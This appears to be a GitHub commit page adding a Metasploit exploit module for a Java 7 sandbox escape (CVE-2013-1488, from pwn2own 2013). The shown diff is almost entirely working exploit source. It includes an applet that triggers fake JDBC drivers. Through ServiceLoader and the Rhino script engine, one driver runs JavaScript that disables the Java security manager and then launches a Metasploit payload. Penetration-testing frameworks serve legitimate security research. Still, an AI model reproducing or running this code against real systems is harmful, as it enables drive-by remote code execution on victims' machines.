Skip to content

Commit aefcc51

Browse files
committed
Land rapid7#1924 - Java pwn2own 2013: java_jre17_driver_manager (CVE-2013-1488)
2 parents b8ba0f2 + 79bfdf3 commit aefcc51

File tree

12 files changed

+386
-0
lines changed

12 files changed

+386
-0
lines changed
947 Bytes
Binary file not shown.
1.73 KB
Binary file not shown.
1.54 KB
Binary file not shown.
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
com.sun.script.javascript.RhinoScriptEngine
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
FakeDriver
2+
FakeDriver2
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
import java.applet.Applet;
2+
import java.awt.Graphics;
3+
import java.sql.*;
4+
//import java.lang.Runtime;
5+
import metasploit.Payload;
6+
7+
public class Exploit extends Applet
8+
{
9+
10+
public Exploit()
11+
{
12+
}
13+
14+
public void init()
15+
{
16+
try
17+
{
18+
System.out.println("Here we go...");
19+
String url = "jdbc:msf:sql://127.0.0.1:8080/sample";
20+
String userid = "userid";
21+
String password = "password";
22+
Connection con = DriverManager.getConnection(url, userid, password);
23+
}
24+
catch(Exception localThrowable)
25+
{
26+
//localThrowable.printStackTrace();
27+
}
28+
try {
29+
Payload.main(null);
30+
//Runtime.getRuntime().exec("calc.exe");
31+
32+
} catch(Exception ex) {
33+
//ex.printStackTrace();
34+
}
35+
}
36+
37+
public void paint(Graphics paramGraphics)
38+
{
39+
paramGraphics.drawString("Loading", 50, 25);
40+
}
41+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
import java.sql.*;
2+
import java.util.logging.Logger;
3+
import java.util.Properties;
4+
import java.util.AbstractSet;
5+
import java.util.ServiceLoader;
6+
import java.util.Iterator;
7+
8+
9+
public class FakeDriver extends AbstractSet implements java.sql.Driver
10+
{
11+
public static final String URL_PREFIX = "jdbc:msf:sql:";
12+
public static ServiceLoader _s1;
13+
14+
static {
15+
_s1 = ServiceLoader.load(Object.class);
16+
}
17+
18+
public Iterator iterator()
19+
{
20+
return _s1.iterator();
21+
}
22+
23+
public FakeDriver() {
24+
}
25+
26+
public final boolean acceptsURL(String url)
27+
throws SQLException
28+
{
29+
return true;
30+
}
31+
32+
public final boolean jdbcCompliant() {
33+
return true;
34+
}
35+
36+
public final Logger getParentLogger() {
37+
return null;
38+
}
39+
40+
public final int getMinorVersion() {
41+
return 0;
42+
}
43+
44+
public final int getMajorVersion() {
45+
return 1;
46+
}
47+
48+
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
49+
throws SQLException
50+
{
51+
return null;
52+
}
53+
54+
55+
public final Connection connect(String url, Properties info)
56+
throws SQLException
57+
{
58+
return null;
59+
}
60+
61+
//AbstractSet
62+
public final int size() {
63+
return 2;
64+
}
65+
}
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
import java.sql.*;
2+
import java.util.logging.Logger;
3+
import java.util.Properties;
4+
import java.util.HashSet;
5+
import java.util.Iterator;
6+
import javax.script.*;
7+
import java.io.*;
8+
import java.lang.*;
9+
10+
public class FakeDriver2 extends HashSet implements java.sql.Driver
11+
{
12+
public static final String URL_PREFIX = "jdbc:msf:sql:";
13+
14+
static {
15+
16+
}
17+
18+
public FakeDriver2() {
19+
Iterator i = FakeDriver._s1.iterator();
20+
try {
21+
ScriptEngine e = (ScriptEngine)i.next();
22+
Object proxy = (Object) e.eval(
23+
"this.toString = function() {" +
24+
" java.lang.System.setSecurityManager(null);" +
25+
" return '';" +
26+
"};" +
27+
"e = new Error();" +
28+
"e.message = this;" +
29+
"e");
30+
this.add(proxy);
31+
} catch (Exception ex) {
32+
//ex.printStackTrace();
33+
}
34+
}
35+
36+
public final boolean acceptsURL(String url)
37+
throws SQLException
38+
{
39+
return true;
40+
}
41+
42+
public final boolean jdbcCompliant() {
43+
return true;
44+
}
45+
46+
public final Logger getParentLogger() {
47+
return null;
48+
}
49+
50+
public final int getMinorVersion() {
51+
return 0;
52+
}
53+
54+
public final int getMajorVersion() {
55+
return 1;
56+
}
57+
58+
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
59+
throws SQLException
60+
{
61+
return null;
62+
}
63+
64+
public final Connection connect(String url, Properties info)
65+
throws SQLException
66+
{
67+
return null;
68+
}
69+
70+
}
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
com.sun.script.javascript.RhinoScriptEngine
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
FakeDriver
2+
FakeDriver2

0 commit comments

Comments
 (0)